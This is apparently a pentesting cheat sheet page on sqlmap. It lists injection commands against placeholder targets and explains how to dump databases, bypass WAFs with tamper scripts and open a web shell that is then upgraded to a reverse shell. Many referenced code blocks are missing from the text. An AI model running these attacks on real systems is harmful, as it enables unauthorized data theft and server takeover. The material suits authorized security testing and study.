githubEdit

SQL Injection with Sqlmap

SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.

Basic Usage

# GET request
sqlmap -u "http://<target-ip>/?search=test"

Using Burp Suite Request File

We can specify a request file which is downloaded from Burp Suite. In Burp Suite, right-click on the HTTP request header screen, then click Save Item to download the request file. We can use it with SQLmap. Add the "-r" flag as below.

sqlmap -r request.txt

In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the --proxy flag.

# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080

Cheat Sheet

Basic

sqlmap -u "https://example.com/?q=test"

# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q

# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"

# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"

# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch

# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-ssl

Specify DBMS (Database Management System)

We can specify DBMS such as mysql, postgres, sqlite to avoid unnecessary attempts.

Enumerations

Dump Entories

We can dump entories by adding --dump flag.

Risk/Level

We can specify the injection risk and level.

  • risk

    Risk of tests to perform. Default is 1. Max is 3.

  • level

    Level of tests to perform. Default is 1. Max is 5.

Random Agent

Fresh Queries

If the database is modified, we can refresh the states by adding --fresh-queries.

Injection Techniques

We can specify the injection technique to test by adding --technique.

Sleep

We can sleep for each injection.

Ignore HTTP response code

We can ignore specific HTTP response (status) code.

We can drop Set-Cookie from HTTP response headers.

Second Order Attack

Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmaparrow-up-right

If the SQL injection affects another URL, we want to customize the second URL.

Method 1. Simply adding the second request

We can add second-url or second-req flag in sqlmap command. Note that each request file (e.g. req1.txt, req2.txt) is downloaded by clicking "save item" in each request in BurpSuite.

Method 2. Tampering

If we could not achieve with the method 1, it’s worth to create a tamper function. For example, create tamper.py with the content below.

By setting the proxy to http://127.0.0.1:8080, we can see the requests and the responses in BurpSuite. After creating, run sqlmap as below.

Integrate with Other Commands

We can set a dynamic value to the parameter by including another command such as curl as follow:

Web Shell

Add option "--os-shell" to interact with web shell.

After activating, you may want to upgrade to the full functional shell. You can do that using reverse shell.

In your local machine,

Then execute the following command in web shell.

Read Files

Tampering

The sqlmap can be tampered by custom python script e.g. tamper.py or the default library. To list all tampers, run the following command.

WAF (Web Application Firewall) Bypass

This postarrow-up-right explains details for what each module works.

Custom tamper modules (Base64 encode)

We can also create our custom modules. For instance, we create "tamper.py".

Then execute sqlmap.

Multiple Requests

Then run the sqlmap with the tamper option.

Last updated